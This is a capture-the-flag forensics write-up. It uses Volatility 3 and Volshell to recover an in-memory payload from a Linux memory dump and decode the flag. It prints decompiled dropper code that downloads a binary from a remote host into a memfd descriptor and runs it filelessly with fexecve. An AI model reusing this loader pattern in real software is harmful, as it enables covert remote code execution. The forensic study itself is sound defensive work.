CCSC2022 - Fakedoor Writeup
Cyprus Cybersecurity Challenge (CCSC) 2022 - Fakedoor Challenge Writeup
Preface
A while back (3 years ago), I participated in CCSC 2022 (Cyprus Cybersecurity Challenge), which serves as the primary qualification method for forming our National team for the ECSC (European Cybersecurity Challenge) and is organized by CyberMouflons.
There, I encountered Fakedoor, the last and hardest Forensic challenge of the competition. I managed to solve it, and you can read all about it here (until I find a better home for those writeups…) Since Volatility 2 is now deprecated and Volatility 3 has reached parity, I thought I’d explore this again with the new framework.
For anyone who wants to follow along, you can download the memory dump from here
Profiles vs Symbols
The archive contains:
dump.mem- Memory SnapshotDebian_3.16.0-11-amd64_profile.zip- Volatility 2 Profile
In order to be able to analyze memory snapshots, Volatility (3) needs a symbol table that contains the necessary information about the types. For Windows, these symbol files are available through Microsoft itself. However, for Linux, it’s a different story altogether…
To learn about ISF (Intermediate Symbol File) creation and more on Volatility’s internals, you can read my post about it: Creating Linux Symbol Tables for Volatility: Step-by-step guide
Profiles are unique to Volatility 2 and, unfortunately, cannot be used for creating the analogous ISFs for Volatility 3. However, in the blog above, it is briefly mentioned that an effort is being made by Abyss-W4tcher to populate (and maintain) a repository containing symbols for popular distributions, including Debian. Based on the profile’s name, we would need this. However, there is a different approach!
We can fetch symbols automatically by adding the --remote-isf-url argument!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$> vol --remote-isf-url 'https://github.com/Abyss-W4tcher/volatility3-symbols/raw/master/banners/banners.json' -f dump.mem linux.pslist
Volatility 3 Framework 2.27.0
Progress: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM UID GID EUID EGID CREATION TIME File output
0x88007c9112f0 1 1 0 systemd 0 0 0 0 2022-03-12 11:39:55.028000 UTC Disabled
0x88007c910980 2 2 0 kthreadd 0 0 0 0 2022-03-12 11:39:55.028000 UTC Disabled
0x88007c910010 3 3 2 ksoftirqd/0 0 0 0 0 2022-03-12 11:39:55.032000 UTC Disabled
[...]
0x88007c25ca40 1651 1651 1649 bash 1000 1000 1000 1000 2022-03-12 11:41:57.520144 UTC Disabled
0x88007c236c80 1663 1663 1649 bash 1000 1000 1000 1000 2022-03-12 11:42:03.154678 UTC Disabled
0x88007942c9c0 1685 1685 1651 dr0pp3r 1000 1000 1000 1000 2022-03-12 11:42:32.297352 UTC Disabled
0x88007aef32f0 1687 1687 1663 sudo 0 1000 0 1000 2022-03-12 11:42:38.179127 UTC Disabled
0x88007a0f61d0 1688 1688 1687 avml 0 0 0 0 2022-03-12 11:42:38.204438 UTC Disabled
Dropper
We are interested in the dr0pp3r binary, and using the recently added pagecache plugins, we can check for cached files using:
1
2
3
4
5
6
7
$> vol -f dump.mem --filter "FilePath,dr0pp3r" linux.pagecache.Files
Volatility 3 Framework 2.27.0
Progress: 100.00 Stacking attempts finished
SuperblockAddr MountPoint Device InodeNum InodeAddr FileType InodePages CachedPages FileMode AccessTime ModificationTime ChangeTime FilePath InodeSize
0x88003710a000 / 8:1 130832 0x8800697cd1b0 REG 3 1 -rwxr-xr-x 2022-03-12 10:39:32.070966 UTC 2022-03-12 10:33:04.739038 UTC 2022-03-12 10:33:04.739038 UTC /home/vagrant/dr0pp3r 8288
Tip: Volatility caches the ISFs used, so for subsequent runs, you can omit it. You can run
vol isfinfoto check on the cached ISFs
Now that we have the Inode Address we can use the InodePages plugin to dump the executable:
1
2
3
4
5
6
7
8
9
10
11
$> vol -f dump.mem linux.pagecache.InodePages --inode 0x8800697cd1b0 --dump
Volatility 3 Framework 2.27.0
Progress: 100.00 Stacking attempts finished
PageVAddr PagePAddr MappingAddr Index DumpSafe Flags Output File
0xea0001524c70 0x60a82000 0x8800697cd308 0 True active,lru,mappedtodisk,uptodate inode_0x8800697cd1b0.dmp
$> file inode_0x8800697cd1b0.dmp
inode_0x8800697cd1b0.dmp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
Opening the binary in a decompiler, we see a rather simple executable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int32_t main(int32_t argc, char** argv, char** envp) {
int32_t argc_1 = argc
char** argv_2 = argv
int64_t addr = 0xb5ca8c011110002
char* argv_1 = "b4ckd00r"
int64_t var_20 = 0
int32_t fd = socket(2, 1, 6)
if (fd s< 0)
exit(status: 1)
noreturn
if (connect(fd, &addr, len: 0x10) s< 0)
exit(status: 1)
noreturn
int32_t fd_1 = memfd_create_wrapper("s3cr3t", 1)
if (fd_1 s< 0)
exit(status: 1)
noreturn
void buf
while (read(fd, &buf, nbytes: 0x400) s> 0)
write(fd: fd_1, &buf, nbytes: 0x400)
close(fd)
sleep(seconds: 0x14)
if (fexecve(fd: fd_1, argv: &argv_1, envp: __environ) s>= 0)
return 0
exit(status: 1)
}
It starts by creating a socket and then, after converting the addr variable to an IP:PORT format, it seems that the malware connects to 192.168.92.11:4369. Afterwards, it calls the memfd_create_wrapper() which is a wrapper around syscall():
1
2
3
int64_t memfd_create_wrapper(int64_t arg1, int32_t arg2) {
return syscall(0x13f, arg1, zx.q(arg2))
}
According to the man page, memfd_create will create a file descriptor in memory and will act just like any other file! The 2nd argument we see as 1 is the MFD_CLOEXEC flag. This instructs the kernel to close this file descriptor as soon as any of the exec* functions succeed.
It then proceeds to read some remote data from the socket and writes it into the file descriptor. There is a brief delay, and then the fexecve() is called. Effectively, it performs a fileless binary execution all purely in memory!
The original post showcasing the attack can be found here
Goal
So the goal is pretty clear: we need to recover the executable that was downloaded and then executed. However, judging by the appearance of dr0pp3r in the pslist, we can conclude that the executable did not even run, and in hindsight, the sleep() call is to stall a bit so that the memory could be captured before executing. So we have to look in the dr0pp3r’s memory. Specifically, we need to somehow isolate that file descriptor!
The hunt for the FD
We can list the open file descriptors using the lsof plugin:
1
2
3
4
5
6
7
8
9
10
$> vol -f dump.mem linux.lsof --pid 1685
Volatility 3 Framework 2.27.0
Progress: 100.00 Stacking attempts finished
PID TID Process FD Path Device Inode Type Mode Changed Modified Accessed Size
1685 1685 dr0pp3r 0 /dev/pts/0 0:11 3 CHR crw--w---- 2022-03-12 11:41:57.678314 UTC 2022-03-12 11:42:32.678314 UTC 2022-03-12 11:42:32.678314 UTC 0
1685 1685 dr0pp3r 1 /dev/pts/0 0:11 3 CHR crw--w---- 2022-03-12 11:41:57.678314 UTC 2022-03-12 11:42:32.678314 UTC 2022-03-12 11:42:32.678314 UTC 0
1685 1685 dr0pp3r 2 /dev/pts/0 0:11 3 CHR crw--w---- 2022-03-12 11:41:57.678314 UTC 2022-03-12 11:42:32.678314 UTC 2022-03-12 11:42:32.678314 UTC 0
1685 1685 dr0pp3r 4 /memfd:s3cr3t (deleted) 0:4 16458 REG -rwxrwxrwx 2022-03-12 11:42:32.471702 UTC 2022-03-12 11:42:32.471702 UTC 2022-03-12 11:42:32.467700 UTC 9216
We can observe the s3cr3t file descriptor appearing, but how do we retrieve its data?
Enter Volshell! We can interactively explore the internal structures of a process (ie, task_struct)
Volshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$> volshell -f dump.mem -l
Volshell (Volatility 3 Framework) 2.27.0
Python 3.13.7 (main, Aug 15 2025, 12:34:02) [GCC 15.2.1 20250813]
Type 'copyright', 'credits' or 'license' for more information
IPython 9.5.0 -- An enhanced Interactive Python. Type '?' for help.
Call help() to see available functions
Volshell mode : Linux
Current Layer : layer_name
Current Symbol Table : symbol_table_name1
Current Kernel Name : kernel
[layer_name]>
This will not be a Volshell tutorial (Coming Soon?? 👀), but we will cover some basic things like displaying and interacting with structures.
We can grab the task_struct for any process using its PID, or we can construct the object using the virtual/physical addresses that are provided:
1
2
3
4
5
6
7
8
[layer_name]> gp(pid=1685)
Out[2]: <task_struct symbol_table_name1!task_struct: layer_name @ 0x88007942c9c0 #2408>
[layer_name]> gp(virtaddr=0x88007942c9c0)
Out[4]: <task_struct symbol_table_name1!task_struct: layer_name @ 0x88007942c9c0 #2408>
[layer_name]> gp(physaddr=0x7942c9c0)
Out[7]: <task_struct symbol_table_name1!task_struct: memory_layer @ 0x7942c9c0 #2408 (Native: layer_name)>
All 3 objects are equivalent but not all three are the same!
Having an object, we can use dt() (display_type()) to ‘pretty-print’ it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[layer_name]> proc = gp(pid=1685)
[layer_name]> dt(proc)
symbol_table_name1!task_struct (2408 bytes) @ 0x88007942c9c0:
0x0 : state symbol_table_name1!long int 1
0x8 : stack *symbol_table_name1!void 0x88007c360000
0x10 : usage symbol_table_name1!atomic_t offset: 0x88007942c9d0
0x14 : flags symbol_table_name1!unsigned int 1077944320
0x18 : ptrace symbol_table_name1!unsigned int 0
0x20 : wake_entry symbol_table_name1!llist_node offset: 0x88007942c9e0
0x28 : on_cpu symbol_table_name1!int 0
0x30 : last_wakee *symbol_table_name1!task_struct 0x88007ae32a80
0x38 : wakee_flips symbol_table_name1!long unsigned int 1
0x40 : wakee_flip_decay_ts symbol_table_name1!long unsigned int 4294931621
0x48 : wake_cpu symbol_table_name1!int 1
0x4c : on_rq symbol_table_name1!int 0
0x50 : prio symbol_table_name1!int 120
0x54 : static_prio symbol_table_name1!int 120
0x58 : normal_prio symbol_table_name1!int 120
0x5c : rt_priority symbol_table_name1!unsigned int 0
We are interested in the files field at offset 0x5e8: 0x5e8 : files *symbol_table_name1!files_struct 0x88007a5a1a40
We can access it just like we would any other Struct field using ‘dot’ notation:
1
2
3
4
5
6
7
8
9
10
11
[layer_name]> dt(proc.files)
symbol_table_name1!pointer (8 bytes) @ 0x88007942cfa8 -> 0x88007a5a1a40
symbol_table_name1!files_struct (640 bytes) @ 0x88007a5a1a40:
0x0 : count symbol_table_name1!atomic_t offset: 0x88007a5a1a40
0x8 : fdt *symbol_table_name1!fdtable 0x88007a51dfc0
0x10 : fdtab symbol_table_name1!fdtable offset: 0x88007a5a1a50
0x40 : file_lock symbol_table_name1!spinlock_t offset: 0x88007a5a1a80
0x44 : next_fd symbol_table_name1!int 3
0x48 : close_on_exec_init symbol_table_name1!array ['0']
0x50 : open_fds_init symbol_table_name1!array ['255']
0x58 : fd_array symbol_table_name1!array ['0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)','0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)', '0x0 (null pointer)']
From bootlin, the fd_array struct is defined as an array of file objects:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
#define f_dentry f_path.dentry
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/*
* Protects f_ep_links, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;
u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct list_head f_ep_links;
struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
} __attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
Which contains the much-desired f_inode value!
To our dismay, the array is filled with null pointers, as if the process has no files open! But the lsof plugin did report 4 files open, and also got the name of the memfd file descriptor correct! So it was not misreporting! If we take a look at the file descriptor IDs, then they also make sense. File descriptor IDs are handed out sequentially, with 0, 1, 2 being default as stdin, stdout, stderr respectively. The memfd file descriptor has an ID of 4, which makes sense, because the file descriptor with ID 3 has been allocated to the socket and was also closed!
So if we trust that lsof reports correctly, then let’s check out its source code to get an understanding of what it does!
Volatility Internals (somewhat)
The lsof.py plugin lives at volatility3/framework/plugins/linux/lsof.py. Every Volatility plugin begins in the run() method, which most of the time will create the Rendering layout, parse some arguments, and hand over execution to the _generator() method.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def _generator(self, pids, vmlinux_module_name):
filter_func = pslist.PsList.create_pid_filter(pids)
for fd_internal in self.list_fds(
self.context, vmlinux_module_name, filter_func=filter_func
):
fd_user = fd_internal.to_user()
yield (0, dataclasses.astuple(fd_user))
def run(self):
pids = self.config.get("pid", None)
vmlinux_module_name = self.config["kernel"]
tree_grid_args = [
("PID", int),
("TID", int),
("Process", str),
("FD", int),
("Path", str),
("Device", str),
("Inode", int),
("Type", str),
("Mode", str),
("Changed", datetime.datetime),
("Modified", datetime.datetime),
("Accessed", datetime.datetime),
("Size", int),
]
return renderers.TreeGrid(
tree_grid_args, self._generator(pids, vmlinux_module_name)
)
The _generator() method filters out the processes to be scanned and then hands over control to the list_fds() method:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@classmethod
def list_fds(
cls,
context: interfaces.context.ContextInterface,
vmlinux_module_name: str,
filter_func: Callable[[int], bool] = lambda _: False,
) -> Iterable[FDInternal]:
"""Enumerates open file descriptors in tasks
Args:
context: The context to retrieve required elements (layers, symbol tables) from
vmlinux_module_name: The name of the kernel module on which to operate
filter_func: A function which takes a process object and returns True if the process
should be ignored/filtered
Yields:
A FDInternal object
"""
linuxutils_symbol_table = None
for task in pslist.PsList.list_tasks(
context, vmlinux_module_name, filter_func, include_threads=True
):
if linuxutils_symbol_table is None:
if constants.BANG not in task.vol.type_name:
raise ValueError("Task is not part of a symbol table")
linuxutils_symbol_table = task.vol.type_name.split(constants.BANG)[0]
fd_generator = linux.LinuxUtilities.files_descriptors_for_process(
context, linuxutils_symbol_table, task
)
for fd_fields in fd_generator:
yield FDInternal(task=task, fd_fields=fd_fields)
There are a lot of things going on here, so let’s take it line by line:
1
2
3
for task in pslist.PsList.list_tasks(
context, vmlinux_module_name, filter_func, include_threads=True
):
This is basically calling the linux.pslist plugin to return a list of all the processes (task_structs), with the proper filter, if any.
1
2
3
4
if linuxutils_symbol_table is None:
if constants.BANG not in task.vol.type_name:
raise ValueError("Task is not part of a symbol table")
linuxutils_symbol_table = task.vol.type_name.split(constants.BANG)[0]
This couple of if statements extract the Linux symbol table name. This is used when creating objects, much like the Windows convention nt!_EPROCESS. It just returns symbol_table_name1, as seen in Volshell
I know we are glancing over the
contextandsymbol_tablevariables. But for this application, we can replicate their usage without knowing much about them. Stay tuned for a proper Volshell tutorial!
1
2
3
4
5
6
fd_generator = linux.LinuxUtilities.files_descriptors_for_process(
context, linuxutils_symbol_table, task
)
for fd_fields in fd_generator:
yield FDInternal(task=task, fd_fields=fd_fields)\
Finally, a call to linux.LinuxUtilities.files_descriptors_for_process() is made, and the resulting file descriptors are displayed. (In the form of an FDInternal() object)
Since that is the output we are seeing when running linux.lsof, we need to take a look at files_descriptors_for_process():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@classmethod
def files_descriptors_for_process(
cls,
context: interfaces.context.ContextInterface,
symbol_table: str,
task: interfaces.objects.ObjectInterface,
):
try:
files = task.files
fd_table = files.get_fds()
if fd_table == 0:
return None
max_fds = files.get_max_fds()
except exceptions.InvalidAddressException:
return None
# corruption check
if max_fds > 500000:
return None
file_type = symbol_table + constants.BANG + "file"
fds = objects.utility.array_of_pointers(
fd_table, count=max_fds, subtype=file_type, context=context
)
for fd_num, filp in enumerate(fds):
if filp and filp.is_readable():
full_path = LinuxUtilities.path_for_file(context, task, filp)
yield fd_num, filp, full_path
This function yields 3 distinct values:
- File Descriptor ID (
fd_num) - A
file *(filp) - The full path of the file (
full_path)
But a file * is the structure that contains the inode address we need to dump data using linux.pagecache.InodePages!
So how do we use this function outside of the plugin system?
Ad Hoc Functionality
This is where Volatility’s amazing plugin system comes into play! Plugins are built using many modular and really specific components. And as already seen, many plugins benefit from other plugins as well. IE: when any plugin wants to grab a list of all the active processes on a system, all it needs to do is invoke pslist.PsList.list_tasks().
This modularity allows developers to cross-benefit from other plugins while building their own (which in turn will benefit the rest of the ecosystem), and also users can use these small components to ‘enable’ functionality that is not always present (and apparent) in the default plugins, as we are about to do!
Much like in the lsof.py, we need to import linux (from volatility3.framework.symbols import linux) to be able to use it.
The method signature requires:
context: Can be retrieved from Volshell usingself.contextsymbol_table: Issymbol_table_name1as shown earlier, but can also be retrieved usingself.current_symbol_table(if not changed)task: Already shown how to be retrievedgp(pid=...)
Let’s get to it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[layer_name]> from volatility3.framework.symbols import linux
[layer_name]> proc = gp(pid=1685)
[layer_name]> fd_gen = linux.LinuxUtilities.files_descriptors_for_process(
...: self.context,
...: self.current_symbol_table,
...: proc)
[layer_name]> for fd in fd_gen:
...: print(fd)
...:
(0, 149535628454912, '/dev/pts/0')
(1, 149535628454912, '/dev/pts/0')
(2, 149535628454912, '/dev/pts/0')
(4, 149534504862464, '/memfd:s3cr3t (deleted)')
Now that we have our file * 0x8800370b4300, we can manually construct a file object on that address, and since we will get a valid object, we can pretty-print it like we did earlier!
Something about Layers
I probably should’ve done the Volshell tutorial before this, since we are venturing deeper than anticipated… But bear with me here…
Objects are created on top of Layers, and to be valid in terms of data containment or pointer direction, they must be created on their “own” Layer. Layers are containers of objects, addresses, and data. Each process (in the virtual address space) has its own Layer, much like Virtual Address Space. The same principle applies to the Kernel as well.
The [layer_name]> prompt means that we are currently switched to the Layer named: layer_name, which is the Kernel’s Layer!
Since the task_struct and file objects reside in Kernel Memory, their appropriate Layer is the Kernel Layer! (Since it contains the correct information, and their pointers are valid).
Objects can point outside of their Layer, or can be valid on more than one Layer, but that’s a story for another time
Constructing Objects
We can construct objects by calling the self.context.object() method as such:
1
2
3
4
5
6
7
8
[layer_name]> file = self.context.object(
...: object_type=f"{self.current_symbol_table}!file",
...: layer_name='layer_name',
...: offset=0x8800370b4300,
...: )
[layer_name]> file
Out[3]: <struct_file symbol_table_name1!file: layer_name @ 0x8800370b4300 #256>
The
!in theobject_typeis technically aconstants.BANG, and hardcoding the Layer name is bad practice!
Now that we have our file object, we can display it and interact with it just like any other vol-obj:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[layer_name]> dt(file)
symbol_table_name1!file (256 bytes) @ 0x8800370b4300:
0x0 : f_u symbol_table_name1!unnamed_ffeb8657d0d287cf offset: 0x8800370b4300
0x10 : f_path symbol_table_name1!path offset: 0x8800370b4310
0x20 : f_inode *symbol_table_name1!inode 0x88007a5010a0
0x28 : f_op *symbol_table_name1!file_operations 0xffff8161fa40
0x30 : f_lock symbol_table_name1!spinlock_t offset: 0x8800370b4330
0x38 : f_count symbol_table_name1!atomic64_t offset: 0x8800370b4338
0x40 : f_flags symbol_table_name1!unsigned int 32770
0x44 : f_mode symbol_table_name1!unsigned int 393247
0x48 : f_pos_lock symbol_table_name1!mutex offset: 0x8800370b4348
0x70 : f_pos symbol_table_name1!long long int 9216
0x78 : f_owner symbol_table_name1!fown_struct offset: 0x8800370b4378
0x98 : f_cred *symbol_table_name1!cred 0x880036c5e580
0xa0 : f_ra symbol_table_name1!file_ra_state offset: 0x8800370b43a0
0xc0 : f_version symbol_table_name1!long long unsigned int 0
0xc8 : f_security *symbol_table_name1!void 0x0 (null pointer)
0xd0 : private_data *symbol_table_name1!void 0x0 (null pointer)
0xd8 : f_ep_links symbol_table_name1!list_head offset: 0x8800370b43d8
0xe8 : f_tfile_llink symbol_table_name1!list_head offset: 0x8800370b43e8
0xf8 : f_mapping *symbol_table_name1!address_space 0x88007a5011f8
Flag
Lo and Behold, the much desired f_inode:
1
2
3
4
5
6
7
8
9
$> vol -f dump.mem linux.pagecache.InodePages --inode 0x88007a5010a0 --dump
Volatility 3 Framework 2.27.0
Progress: 100.00 Stacking attempts finished
PageVAddr PagePAddr MappingAddr Index DumpSafe Flags Output File
0xea0001528da0 0x60bac000 0x88007a5011f8 0 True active,dirty,lru,referenced,savepinned,swapbacked,uptodate inode_0x88007a5010a0.dmp
0xea0001528dd8 0x60bad000 0x88007a5011f8 1 True active,dirty,lru,referenced,savepinned,swapbacked,uptodate inode_0x88007a5010a0.dmp
0xea0001528e48 0x60baf000 0x88007a5011f8 2 True dirty,lru,referenced,savepinned,swapbacked,uptodate inode_0x88007a5010a0.dmp
We can see the binary spans multiple pages that had to be retrieved so that it could be dumped. Let’s load it up in a decompiler!
1
2
3
4
5
6
7
8
9
10
11
12
13
int32_t main(int32_t argc, char** argv, char** envp)
int32_t argc_1 = argc
char** argv_1 = argv
for (int32_t i = 0; 0x21 u> i; i += 1)
int32_t temp0_1
int32_t temp1_1
temp0_1:temp1_1 = sx.q(i)
uint32_t rdx_2 = temp0_1 u>> 0x1c
*(sx.q(i) + &b) ^= *(sx.q(((temp1_1 + rdx_2) & 0xf) - rdx_2) + &a)
fputs(str: &b, fp: fopen(filename: "/dev/null", mode: "w+"))
return 0
It’s a simple XOR between two strings:
1
2
3
4
5
6
7
00601020 a:
00601020 d5 d6 c1 08 58 3a 30 37 d4 08 35 6b 3b 9b 33 17 ....X:07..5k;.3.
00601030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00601040 b:
00601040 96 95 92 4b 23 57 03 5a b2 6c 6a 09 0f f8 58 73 ...K#W.Z.lj...Xs
00601050 e5 e6 b3 3d 07 0e 42 04 8b 6b 05 5b 57 ba 12 36 ...=..B..k.[W..6
00601060 a8 .
1
2
3
$> xortool-xor -h 9695924b2357035ab26c6a090ff85873e5e6b33d070e42048b6b055b57ba1236a8 -h d5d6c108583a3037d408356b3b9b3317
CCSC{m3mfd_b4ckd00r5_4r3_c00l!!!}
Closing
I really enjoyed this challenge, and as stated in the original Writeup, it was my favorite of the competition, so a big thank you to icydux for creating it!
